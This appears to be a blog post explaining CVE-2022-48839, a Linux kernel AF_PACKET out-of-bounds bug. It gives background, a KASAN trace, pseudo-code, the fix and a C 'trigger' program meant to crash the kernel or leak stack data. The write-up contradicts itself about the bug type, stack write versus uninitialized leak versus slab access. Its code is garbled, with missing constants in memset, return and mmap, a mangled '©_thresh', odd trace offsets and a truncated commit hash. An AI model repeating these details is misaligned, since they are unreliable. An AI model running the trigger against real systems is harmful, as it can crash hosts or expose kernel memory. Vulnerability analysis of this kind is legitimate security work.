On modern Linux systems, the AF_PACKET socket family is a core component for packet capturing tools and other network stack monitoring. In early 2022, an out-of-bounds (OOB) memory access bug was found in the kernel’s net/packet/af_packet.c code, specifically within packet_recvmsg(), tracked as CVE-2022-48839. This bug, which occurs in complex situations involving memory-mapped AF_PACKET sockets using PACKET_COPY_THRESH, threatens kernel stability and potential security boundaries.
This post breaks down the vulnerability, the context that triggers it, how it can be (mis)used, and finally, how it was fixed — all in straightforward terms and with code snippets.
Vulnerability Overview
Type: Stack-based out-of-bounds write
Component: AF_PACKET sockets (net/packet/af_packet.c in Linux kernel)
CVE: CVE-2022-48839
Severity: High (local privilege escalation or DoS potential)
Affected Versions: Linux Kernel 5.x before the patch
Discovered by: syzbot (automated kernel bug finder)
What Accidental Behavior Triggered The Problem?
When certain AF_PACKET sockets use mmap() with PACKET_COPY_THRESH, arriving network packets are copied into userspace-accessible ring buffers. Metadata relating to packets is also passed via the skb->cb[] array. In regular cases, this is carefully managed — but with memory-mapped rings, this metadata is not initialized properly for packets enqueued by tpacket_rcv(): It copies uninitialized/sketchy memory into the userspace buffer!
### Crash/Exploit Details
The bug triggers this classic KASAN (Kernel Address Sanitizer) report
BUG: KASAN: stack-out-of-bounds in memcpy include/linux/fortify-string.h:225 [inline]
BUG: KASAN: stack-out-of-bounds in packet_recvmsg+x56c/x115 net/packet/af_packet.c:3489
Write of size 165 at addr ffffc9000385fb78 by task syz-executor233/3631
Due to missing initialization, 12 bytes in skb->cb[] (control buffer) hold garbage.
- User’s call to recvmsg() causes copyout of this uninitialized data (potential info leak and stack overwrite).
- On systems with KASAN or FORTIFY_STRING, this throws a crash. On production, undefined but possibly exploitable memory corruption.
Let's see the simplified pseudo-path
// When packet_capture socket with mmap is used:
int tpacket_rcv(struct sk_buff *skb) {
// ... preamble
// queue it for recvmsg() later (but doesn't init skb->cb)
// ...
}
ssize_t packet_recvmsg(struct socket *sock, struct msghdr *msg, ...) {
struct sk_buff *skb = /* dequeued from above queue */;
// later:
memcpy(dst, skb->cb, 12); // May copy garbage!
}
The Fix
The fix is as simple as zeroing those 12 bytes before the copy to user space, to avoid stale stack contents:
memset(skb->cb, , 12);
Git commit that fixes the issue
> net/packet: fix slab-out-of-bounds access in packet_recvmsg()
Step-by-Step Exploit Scenario
This issue can leak kernel stack data or induce a crash from userspace, as shown in a fuzzing (syzkaller) exploit scenario. While a direct privilege escalation proof-of-concept (PoC) is unclear, an attacker can crash the system or leak kernel data.
Minimal Trigger Example (PoC-ish, C code)
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <netinet/in.h>
#include <unistd.h>
#include <sys/mman.h>
#include <string.h>
#include <stdio.h>
int main() {
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
// Set up mmap'd ring
struct tpacket_req req = {
.tp_block_size = 4096,
.tp_block_nr = 1,
.tp_frame_size = 2048,
.tp_frame_nr = 2,
};
setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
void *ring = mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, s, );
// Set PACKET_COPY_THRESH > triggers the bug
int copy_thresh = 150;
setsockopt(s, SOL_PACKET, PACKET_COPY_THRESH, ©_thresh, sizeof(copy_thresh));
// Send a dummy packet from another raw socket or out-of-band.
char buf[4096];
// recvmsg triggers the broken memcpy
recv(s, buf, sizeof(buf), );
printf("Finished\n");
close(s);
return ;
}
- On a vulnerable kernel, running this may crash the kernel or return garbage (potential info leak) in user buffer.
What Could Attackers Do?
- Local Info Disclosure: They could reliably read stack contents (12 bytes per packet) from the kernel, possibly leaking pointers or kernel data structures.
- Kernel Crash (DoS): In exploit environments (KASAN/FORTIFY_STRING), this leads to a crash without privilege escalation.
- Theoretical Code Execution: If attackers can carefully manipulate stack, they may further corrupt kernel execution flow. But practical public exploits don’t seem to exist.
Patch & Mitigation
- Status: Fixed in upstream Linux commit (60c6cfe72b7e78faeebab7d816a7977f01f7b12)
Solution: Update your kernel to any version with this patch applied (5.17+ mainline).
- Workarounds: Avoid untrusted userspace direct access to raw packet sockets, *especially* with mmap and custom thresholds.
Original References
- Syzkaller bug tracker report (Patch discussion)
- Linux kernel patch commit
- CVE database entry (for CVE-2022-48839)
Conclusion
CVE-2022-48839, while technical, is a great example of how a single missing memset() can break kernel security guarantees. If you are running a system where untrusted users can access AF_PACKET, you should upgrade your kernel. Modern fuzzers like syzkaller prove invaluable for finding these subtle and dangerous issues.
Stay up to date and always test your system’s kernel security!
*Original research, code examples, analysis by [YourName]. If you share or reference, please credit and link back!*
Timeline
Published on: 07/16/2024 13:15:11 UTC
Last modified on: 07/18/2024 16:04:39 UTC